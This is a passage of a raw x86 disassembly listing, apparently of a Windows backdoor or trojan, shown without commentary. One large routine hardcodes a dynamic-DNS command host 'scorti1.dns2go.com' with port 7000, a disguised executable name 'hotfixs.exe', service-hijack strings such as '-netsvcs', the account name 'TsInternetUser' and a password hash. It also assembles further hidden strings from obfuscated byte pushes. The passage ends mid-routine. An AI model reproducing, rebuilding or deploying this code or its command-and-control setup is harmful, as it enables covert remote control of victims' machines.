[ebx+9], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DB0: ; CODE XREF: ___:00406DA5j mov esi, offset aNetsvcs ; "-netsvcs" mov eax, edi loc_406DB7: ; CODE XREF: ___:00406DD5j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406DDB test cl, cl jz short loc_406DD7 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406DDB add eax, 2 add esi, 2 test cl, cl jnz short loc_406DB7 loc_406DD7: ; CODE XREF: ___:00406DC1j xor eax, eax jmp short loc_406DE0 ; --------------------------------------------------------------------------- loc_406DDB: ; CODE XREF: ___:00406DBDj ; ___:00406DCBj sbb eax, eax sbb eax, 0FFFFFFFFh loc_406DE0: ; CODE XREF: ___:00406DD9j test eax, eax jnz short loc_406DED mov byte ptr [ebx+0Ah], 1 jmp loc_406F08 ; --------------------------------------------------------------------------- loc_406DED: ; CODE XREF: ___:00406DE2j mov esi, offset aBai ; "-bai" mov eax, edi loc_406DF4: ; CODE XREF: ___:00406E12j mov dl, [eax] mov cl, dl cmp dl, [esi] jnz short loc_406E18 test cl, cl jz short loc_406E14 mov dl, [eax+1] mov cl, dl cmp dl, [esi+1] jnz short loc_406E18 add eax, 2 add esi, 2 test cl, cl jnz short loc_406DF4 loc_406E14: ; CODE XREF: ___:00406DFEj xor eax, eax jmp short loc_406E1D ; --------------------------------------------------------------------------- loc_406E18: ; CODE XREF: ___:00406DFAj ; ___:00406E08j sbb eax, eax sbb eax, 0FFFFFFFFh loc_406E1D: ; CODE XREF: ___:00406E16j test eax, eax jnz loc_406F08 lea ecx, [esp+10h] call sub_401424 mov eax, [esp+468h] push offset aBai ; "-bai" push eax mov dword ptr [esp+468h], 0 nop call near ptr 77C47C60h add esp, 8 test eax, eax jz loc_406EF4 push eax lea ecx, [esp+14h] call sub_4015D7 push 1 push offset asc_443600 ; " " lea ecx, [esp+30h] push 1 push ecx lea ecx, [esp+20h] call sub_4011EA push offset byte_446F60 mov ecx, eax mov byte ptr [esp+464h], 1 call sub_4012EE lea ecx, [esp+28h] mov esi, eax mov byte ptr [esp+460h], 0 call sub_401226 test esi, esi jz short loc_406EF4 push 1 push offset asc_443600 ; " " lea edx, [esp+48h] push 1 push edx lea ecx, [esp+20h] mov byte ptr [ebx+0Bh], 1 call sub_4011EA push 104h mov ecx, eax mov byte ptr [esp+464h], 2 call sub_401681 push eax lea eax, [ebx+0Ch] push eax call near ptr 77C47A90h nop add esp, 0Ch lea ecx, [esp+40h] mov byte ptr [esp+460h], 0 call sub_401226 add ebp, 4 loc_406EF4: ; CODE XREF: ___:00406E51j ; ___:00406EA1j lea ecx, [esp+10h] mov dword ptr [esp+460h], 0FFFFFFFFh call sub_401226 loc_406F08: ; CODE XREF: ___:00406D6Dj ; ___:00406DABj ... mov eax, [ebp+4] add ebp, 4 test eax, eax jnz loc_406D38 xor ecx, ecx loc_406F18: ; CODE XREF: ___:00406D2Ej mov al, [ebx+4] pop edi pop esi pop ebp test al, al jnz short loc_406F25 mov [ebx+5], ecx loc_406F25: ; CODE XREF: ___:00406F20j cmp [ebx+5], ecx jnz short loc_406F35 test al, al jz short loc_406F35 mov dword ptr [ebx+5], 0Ah loc_406F35: ; CODE XREF: ___:00406F28j ; ___:00406F2Cj mov [ebx+5], ecx mov ecx, [esp+44Ch] mov byte ptr [ebx+4], 0 pop ebx mov large fs:0, ecx add esp, 454h retn 4 ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 0D0h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407030 proc near ; CODE XREF: sub_40209Fj var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407030 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push esi mov esi, ecx mov [esp+18h+var_10], esi call sub_4011B3 lea ecx, [esi+4] call sub_401749 lea eax, [esp+18h+var_11] lea ecx, [esi+32h] push eax mov [esp+1Ch+var_4], 0 call sub_401564 sub_407030 endp ; --------------------------------------------------------------------------- mov ecx, [esp+0Ch] mov dword ptr [esi], offset off_43E00C mov eax, esi pop esi mov large fs:0, ecx add esp, 14h retn ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4070B0 proc near ; CODE XREF: sub_401591j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov eax, [esp+arg_4] push esi mov esi, ecx push eax mov ecx, [esp+8+arg_0] call sub_4015D7 mov edx, [esp+4+arg_0] mov ecx, [esp+4+arg_8] lea eax, [esp+4+arg_0] mov [edx+2Ah], ecx push eax lea ecx, [esi+32h] call sub_4014E2 sub_4070B0 endp ; --------------------------------------------------------------------------- pop esi retn 0Ch ; --------------------------------------------------------------------------- db 3 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4070F0 proc near ; CODE XREF: sub_401AF0j var_8 = dword ptr -8 var_4 = byte ptr -4 arg_0 = dword ptr 4 sub esp, 8 push esi mov esi, ecx push edi lea ecx, [esp+10h+var_8] call sub_401AC3 add esi, 32h lea eax, [esp+10h+var_4] push eax mov ecx, esi call sub_401622 mov ecx, [eax] lea edx, [esp+10h+var_4] mov [esp+10h+var_8], ecx push edx mov ecx, esi call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jz short loc_40716B mov edi, [esp+10h+arg_0] loc_407133: ; CODE XREF: sub_4070F0+79j push edi lea ecx, [esp+14h+var_8] call sub_40173F mov ecx, [eax] call sub_4012EE test eax, eax lea ecx, [esp+10h+var_8] jz short loc_407175 call sub_401F0A lea eax, [esp+10h+var_4] mov ecx, esi push eax call sub_4021BC push eax lea ecx, [esp+14h+var_8] call sub_40183E test al, al jnz short loc_407133 loc_40716B: ; CODE XREF: sub_4070F0+3Dj pop edi xor eax, eax pop esi add esp, 8 retn 8 ; --------------------------------------------------------------------------- loc_407175: ; CODE XREF: sub_4070F0+5Aj call sub_40173F mov eax, [eax] pop edi pop esi add esp, 8 retn 8 sub_4070F0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4071C0 proc near ; CODE XREF: sub_4021F8j xor al, al retn 4 sub_4071C0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4071E0 proc near ; CODE XREF: sub_401564j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push 0 mov cl, [eax] push 0 mov [esi], cl mov ecx, esi call sub_40119F sub_4071E0 endp ; --------------------------------------------------------------------------- mov [esi+4], eax mov dword ptr [esi+8], 0 mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407220 proc near ; CODE XREF: sub_401622j arg_0 = dword ptr 4 mov eax, [ecx+4] push esi push eax call sub_401A82 mov ecx, [eax] mov esi, [esp+8+arg_0] add esp, 4 push ecx mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407220 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407260 proc near ; CODE XREF: sub_4021BCj arg_0 = dword ptr 4 mov eax, [ecx+4] push esi mov esi, [esp+4+arg_0] push eax mov ecx, esi call sub_402185 mov eax, esi pop esi retn 4 sub_407260 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407290 proc near ; CODE XREF: sub_4014E2j var_4 = byte ptr -4 arg_0 = dword ptr 4 push ecx mov eax, [esp+4+arg_0] push esi mov esi, ecx push eax lea ecx, [esp+0Ch+arg_0] push ecx mov ecx, esi call sub_4021BC mov edx, [eax] lea eax, [esp+0Ch+var_4] push edx push eax mov ecx, esi call sub_4013B6 sub_407290 endp ; --------------------------------------------------------------------------- pop esi pop ecx retn 4 ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072D0 proc near ; CODE XREF: sub_401AC3j push esi mov esi, ecx call sub_401B63 mov eax, esi pop esi retn sub_4072D0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4072F0 proc near ; CODE XREF: sub_40173Fj mov eax, [ecx] push eax call sub_401208 add esp, 4 retn sub_4072F0 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407310 proc near ; CODE XREF: sub_401F0Aj push esi mov esi, ecx mov eax, [esi] push eax call sub_401A82 mov ecx, [eax] add esp, 4 mov [esi], ecx mov eax, esi pop esi retn sub_407310 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407340 proc near ; CODE XREF: sub_40183Ej arg_0 = dword ptr 4 mov eax, [esp+arg_0] push eax call sub_401FA0 neg al sbb eax, eax inc eax retn 4 sub_407340 endp ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407370 proc near ; CODE XREF: sub_4013B6j arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch push ebx push esi mov esi, ecx push edi lea ecx, [esp+0Ch+arg_4] call sub_401C8A mov edi, eax push edi call sub_401C58 mov eax, [eax] add esp, 4 mov ecx, esi push eax push edi call sub_40119F sub_407370 endp ; --------------------------------------------------------------------------- push edi mov ebx, eax call sub_401C58 push edi mov [eax], ebx call sub_401C58 mov edi, [eax] push edi call sub_401C58 mov ecx, [eax] push ecx call sub_401A82 mov edx, [esp+28h] add esp, 10h mov [eax], edi push edx push edi call sub_401208 add esp, 4 mov ecx, esi push eax call sub_401672 mov ecx, [esi+8] push edi inc ecx mov [esi+8], ecx mov esi, [esp+14h] mov ecx, esi call sub_402185 mov eax, esi pop edi pop esi pop ebx retn 0Ch ; --------------------------------------------------------------------------- db 6 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407410 proc near ; CODE XREF: sub_40119Fj arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push edi push 0Ch call sub_4019C9 sub_407410 endp ; --------------------------------------------------------------------------- mov edi, [esp+0Ch] mov esi, eax test edi, edi jnz short loc_407425 mov edi, esi loc_407425: ; CODE XREF: ___:00407421j push esi call sub_401A82 mov [eax], edi mov edi, [esp+14h] add esp, 4 test edi, edi jnz short loc_40743A mov edi, esi loc_40743A: ; CODE XREF: ___:00407436j push esi call sub_401C58 add esp, 4 mov [eax], edi mov eax, esi pop edi pop esi retn 8 ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407460 proc near ; CODE XREF: sub_401A82j arg_0 = dword ptr 4 mov eax, [esp+arg_0] retn sub_407460 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407480 proc near ; CODE XREF: sub_401208j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 8 retn sub_407480 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074A0 proc near ; CODE XREF: sub_401B63j mov eax, ecx retn sub_4074A0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074C0 proc near ; CODE XREF: sub_402185j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push esi mov esi, ecx push eax call sub_4011E5 mov eax, esi pop esi retn 4 sub_4074C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4074F0 proc near ; CODE XREF: sub_401FA0j arg_0 = dword ptr 4 mov edx, [esp+arg_0] mov eax, [ecx] push esi xor ecx, ecx mov esi, [edx] cmp eax, esi pop esi setz cl mov al, cl retn 4 sub_4074F0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407520 proc near ; CODE XREF: sub_401C58j arg_0 = dword ptr 4 mov eax, [esp+arg_0] add eax, 4 retn sub_407520 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407540 proc near ; CODE XREF: sub_4019C9j arg_0 = dword ptr 4 mov eax, [esp+arg_0] push 0 push eax call sub_401D16 sub_407540 endp ; --------------------------------------------------------------------------- add esp, 8 retn 4 ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407570 proc near ; CODE XREF: sub_401672j arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push eax push ecx call sub_40109B add esp, 8 retn 8 sub_407570 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075A0 proc near ; CODE XREF: sub_4011E5j arg_0 = dword ptr 4 mov eax, ecx mov ecx, [esp+arg_0] mov [eax], ecx retn 4 sub_4075A0 endp ; --------------------------------------------------------------------------- db 5 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4075C0 proc near ; CODE XREF: sub_401C8Aj mov eax, [ecx] retn sub_4075C0 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4075E0 proc near ; CODE XREF: sub_401D16j arg_0 = dword ptr 4 mov eax, [esp+arg_0] test eax, eax jge short loc_4075EA xor eax, eax loc_4075EA: ; CODE XREF: sub_4075E0+6j push eax call sub_4367FA sub_4075E0 endp ; --------------------------------------------------------------------------- add esp, 4 retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407610 proc near ; CODE XREF: sub_40109Bj arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push eax push 4 call sub_4011CC add esp, 8 test eax, eax jz short locret_40762B mov ecx, [esp+arg_4] mov edx, [ecx] mov [eax], edx locret_40762B: ; CODE XREF: sub_407610+11j retn sub_407610 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_407640 proc near ; CODE XREF: sub_4011CCj arg_4 = dword ptr 8 mov eax, [esp+arg_4] retn sub_407640 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407660 proc near ; CODE XREF: sub_401B2Cj var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_407660 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_4] mov [esp+1Ch+var_4], 0 call sub_4017E4 push eax mov eax, [esp+20h+arg_0] push 0 push eax mov ecx, offset word_448D06 call sub_401B5E sub_407660 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 1Ch ; --------------------------------------------------------------------------- db 0Eh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_4076F0 proc near ; CODE XREF: sub_401CC1j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_1C = byte ptr 20h mov eax, large fs:0 push 0FFFFFFFFh push offset SEH_4076F0 push eax mov large fs:0, esp push 0 push 0 push 0 push 0 lea ecx, [esp+1Ch+arg_1C] mov [esp+1Ch+var_4], 1 call sub_4017E4 push eax lea ecx, [esp+20h+arg_4] call sub_4017E4 push eax mov eax, [esp+24h+arg_0] push eax mov ecx, offset word_448D06 call sub_401B5E sub_4076F0 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov byte ptr [esp+8], 0 call sub_401226 lea ecx, [esp+2Ch] mov dword ptr [esp+8], 0FFFFFFFFh call sub_401226 mov ecx, [esp+0] mov large fs:0, ecx add esp, 0Ch retn 34h ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407790 proc near ; CODE XREF: sub_40121Cj var_350 = dword ptr -350h var_34C = dword ptr -34Ch var_348 = byte ptr -348h var_330 = byte ptr -330h var_318 = byte ptr -318h var_2F4 = byte ptr -2F4h var_2DC = byte ptr -2DCh var_2C4 = byte ptr -2C4h var_2AC = byte ptr -2ACh var_294 = byte ptr -294h var_27C = byte ptr -27Ch var_264 = byte ptr -264h var_24C = byte ptr -24Ch var_234 = byte ptr -234h var_21C = byte ptr -21Ch var_204 = byte ptr -204h var_1EC = byte ptr -1ECh var_1D4 = byte ptr -1D4h var_1BC = byte ptr -1BCh var_1A4 = byte ptr -1A4h var_18C = byte ptr -18Ch var_174 = byte ptr -174h var_15C = byte ptr -15Ch var_144 = byte ptr -144h var_114 = byte ptr -114h var_E4 = byte ptr -0E4h var_CC = byte ptr -0CCh var_B4 = byte ptr -0B4h var_9C = byte ptr -9Ch var_84 = byte ptr -84h var_6C = byte ptr -6Ch var_54 = byte ptr -54h var_3C = byte ptr -3Ch var_24 = byte ptr -24h var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_407790 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 344h push ebx push esi mov esi, ecx push edi lea ecx, [esp+35Ch+var_174] call sub_401424 lea ecx, [esp+35Ch+var_2DC] mov [esp+35Ch+var_4], 0 call sub_401424 lea ecx, [esp+35Ch+var_1A4] mov byte ptr [esp+35Ch+var_4], 1 call sub_401424 lea ecx, [esp+35Ch+var_1D4] mov byte ptr [esp+35Ch+var_4], 2 call sub_401424 lea ecx, [esp+35Ch+var_2C4] mov byte ptr [esp+35Ch+var_4], 3 call sub_401424 lea ecx, [esp+35Ch+var_2AC] mov byte ptr [esp+35Ch+var_4], 4 call sub_401424 lea ecx, [esp+35Ch+var_204] mov byte ptr [esp+35Ch+var_4], 5 call sub_401424 lea ecx, [esp+35Ch+var_234] mov byte ptr [esp+35Ch+var_4], 6 call sub_401424 lea ecx, [esp+35Ch+var_2F4] mov byte ptr [esp+35Ch+var_4], 7 call sub_401424 lea ecx, [esp+35Ch+var_24] mov byte ptr [esp+35Ch+var_4], 8 call sub_401424 lea ecx, [esp+35Ch+var_54] mov byte ptr [esp+35Ch+var_4], 9 call sub_401424 lea ecx, [esp+35Ch+var_84] mov byte ptr [esp+35Ch+var_4], 0Ah call sub_401424 lea ecx, [esp+35Ch+var_3C] mov byte ptr [esp+35Ch+var_4], 0Bh call sub_401424 lea ecx, [esp+35Ch+var_6C] mov byte ptr [esp+35Ch+var_4], 0Ch call sub_401424 lea ecx, [esp+35Ch+var_264] mov byte ptr [esp+35Ch+var_4], 0Dh call sub_401424 lea ecx, [esp+35Ch+var_27C] mov byte ptr [esp+35Ch+var_4], 0Eh call sub_401424 lea ecx, [esp+35Ch+var_15C] mov byte ptr [esp+35Ch+var_4], 0Fh call sub_401424 lea ecx, [esp+35Ch+var_114] mov byte ptr [esp+35Ch+var_4], 10h call sub_401424 lea ecx, [esp+35Ch+var_18C] mov byte ptr [esp+35Ch+var_4], 11h call sub_401424 mov byte ptr [esp+35Ch+var_4], 12h lea ecx, [esp+35Ch+var_144] call sub_401424 lea ecx, [esp+35Ch+var_1BC] mov byte ptr [esp+35Ch+var_4], 13h call sub_401424 lea ecx, [esp+35Ch+var_294] mov byte ptr [esp+35Ch+var_4], 14h call sub_401424 lea ecx, [esp+35Ch+var_1EC] mov byte ptr [esp+35Ch+var_4], 15h call sub_401424 lea ecx, [esp+35Ch+var_CC] mov byte ptr [esp+35Ch+var_4], 16h call sub_401424 lea ecx, [esp+35Ch+var_21C] mov byte ptr [esp+35Ch+var_4], 17h call sub_401424 lea ecx, [esp+35Ch+var_B4] mov byte ptr [esp+35Ch+var_4], 18h call sub_401424 lea ecx, [esp+35Ch+var_24C] mov byte ptr [esp+35Ch+var_4], 19h call sub_401424 lea ecx, [esp+35Ch+var_9C] mov byte ptr [esp+35Ch+var_4], 1Ah call sub_401424 lea ecx, [esp+35Ch+var_E4] mov byte ptr [esp+35Ch+var_4], 1Bh call sub_401424 lea ecx, [esp+35Ch+var_330] mov byte ptr [esp+35Ch+var_4], 1Ch call sub_401424 lea ecx, [esp+35Ch+var_318] mov byte ptr [esp+35Ch+var_4], 1Dh call sub_401424 mov bl, 1Eh push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_174] mov byte ptr [esp+360h+var_4], bl call sub_401A87 push offset a7000 ; "7000" lea ecx, [esp+360h+var_2DC] call sub_401A87 push offset byte_446F60 lea ecx, [esp+360h+var_1BC] call sub_401A87 push offset aScorti1_dns2go ; "scorti1.dns2go.com" lea ecx, [esp+360h+var_1A4] call sub_401A87 lea eax, [esp+35Ch+var_2DC] lea ecx, [esp+35Ch+var_1D4] push eax call sub_40200E push offset byte_446F60 lea ecx, [esp+360h+var_294] call sub_401A87 push offset aScop ; "#scop#" lea ecx, [esp+360h+var_2C4] call sub_401A87 push offset aS_1 ; "#s" lea ecx, [esp+360h+var_E4] call sub_401A87 push offset aServec ; "servec" lea ecx, [esp+360h+var_2AC] call sub_401A87 push offset aHotfixs_exe ; "hotfixs.exe" lea ecx, [esp+360h+var_204] call sub_401A87 push offset aHoewrt ; "hoewrt" lea ecx, [esp+360h+var_234] call sub_401A87 push offset aTahy ; "TAHY-" lea ecx, [esp+360h+var_2F4] call sub_401A87 push offset aAbosal7 ; "abosal7" lea ecx, [esp+360h+var_264] call sub_401A87 push offset aE10adc3949ba59 ; "E10ADC3949BA59ABBE56E057F20F883E" lea ecx, [esp+360h+var_27C] call sub_401A87 push offset aAdmin_com ; "admin.com" lea ecx, [esp+360h+var_15C] call sub_401A87 push offset aTsinternetuser ; "TsInternetUser" lea ecx, [esp+360h+var_114] call sub_401A87 push offset dword_4437FC lea ecx, [esp+360h+var_18C] call sub_401A87 push offset dword_4437F8 lea ecx, [esp+360h+var_1EC] call sub_401A87 push 0 push 4Bh push 48h push 4Ah push 47h push 4Ch push 48h push 4Bh push 48h push 45h lea ecx, [esp+384h+var_348] push 46h push ecx call sub_4019B5 add esp, 30h push eax lea ecx, [esp+360h+var_144] mov byte ptr [esp+360h+var_4], 1Fh call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 0Dh push 0Fh push 3 push 4Fh push 14h push 6 push 0Fh push 0Fh push 13h push 0Fh push 12h push 3 push 9 push 0Dh push 4Fh push 18h push 9 push 6 push 14h push 0Fh lea edx, [esp+3B0h+var_348] push 8 push edx call sub_4019B5 add esp, 5Ch push eax lea ecx, [esp+360h+var_CC] mov byte ptr [esp+360h+var_4], 20h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_21C] mov byte ptr [esp+360h+var_4], 21h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea ecx, [esp+36Ch+var_348] push 45h push ecx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_24C] mov byte ptr [esp+360h+var_4], 22h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 44h push 49h lea edx, [esp+368h+var_348] push 46h push edx call sub_4019B5 add esp, 14h push eax lea ecx, [esp+360h+var_B4] mov byte ptr [esp+360h+var_4], 23h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 48h push 46h push 44h lea eax, [esp+36Ch+var_348] push 45h push eax call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_9C] mov byte ptr [esp+360h+var_4], 24h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 push 0 push 5 push 15h push 12h lea ecx, [esp+36Ch+var_348] push 14h push ecx call sub_4019B5 add esp, 18h push eax lea ecx, [esp+360h+var_330] mov byte ptr [esp+360h+var_4], 25h call sub_40200E mov byte ptr [esp+35Ch+var_4], bl lea ecx, [esp+35Ch+var_348] call sub_401226 push 0 push 5 push 13h push 0Ch push 1 lea edx, [esp+370h+var_348] push 6 push edx call sub_4019B5 add esp, 1Ch push eax lea ecx, [esp+360h+var_318] mov byte ptr [esp+360h+var_4], 26h call sub_40200E lea ecx, [esp+35Ch+var_348] mov byte ptr [esp+35Ch+var_4], bl call sub_401226 lea ecx, [esp+35Ch+var_2AC] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+374h+var_34C], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 0Eh push 1 push 8 push 3 push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+3D0h+var_348] push 13h push eax mov byte ptr [esp+3D8h+var_4], 27h call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+374h+var_4], 28h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+38Ch+var_350], esp push eax call sub_401861 lea ecx, [esi+0FECh] mov byte ptr [esp+38Ch+var_4], 29h push ecx mov ecx, esi call sub_401CC1 sub_407790 endp ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+98h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 0Eh push 1 push 8 push 3 push 0Eh push 9 push 1 push 0Dh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+88h] push 13h push edx mov byte ptr [esp+3D4h], 2Ah call sub_4019B5 add esp, 64h mov ecx, eax mov byte ptr [esp+370h], 2Bh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea eax, [esi+1035h] mov ecx, esi push eax mov byte ptr [esp+38Ch], 2Ch call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+80h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 14h push 12h push 0Fh push 10h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea ecx, [esp+78h] push 13h push ecx mov byte ptr [esp+3C4h], 2Dh call sub_4019B5 add esp, 54h mov ecx, eax mov byte ptr [esp+370h], 2Eh call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edx, [esi+0FA3h] mov ecx, esi push edx mov byte ptr [esp+38Ch], 2Fh call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1E8h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 12h push 5 push 16h push 12h push 5 push 13h push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea eax, [esp+80h] push 13h push eax mov byte ptr [esp+3CCh], 30h call sub_4019B5 add esp, 5Ch mov ecx, eax mov byte ptr [esp+370h], 31h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea ecx, [esi+0F5Ah] mov byte ptr [esp+388h], 32h push ecx mov ecx, esi call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+68h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 mov byte ptr [esp+370h], 33h push 0 push 18h push 9 push 6 push 5 push 12h push 10h push 0Bh push 3 push 9 push 0Eh push 4Eh push 14h push 0Fh push 0Fh push 12h push 3Fh push 12h push 5 push 16h push 12h push 5 push 13h push 3Fh push 9 lea edx, [esp+90h] push 13h push edx call sub_4019B5 add esp, 6Ch mov ecx, eax mov byte ptr [esp+370h], 34h call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+40h], esp push eax call sub_401861 lea edi, [esi+0E7Fh] mov ecx, esi push edi mov byte ptr [esp+38Ch], 35h call sub_401CC1 ; --------------------------------------------------------------------------- lea ecx, [esp+14h] mov [esp+358h], bl call sub_401226 lea ecx, [esp+1A0h] call sub_4017E4 sub esp, 18h mov ecx, esp mov [esp+24h], esp push eax call sub_401861 push 0 push 13h push 13h push 1 push 10h push 16h push 12h push 5 push 13h push 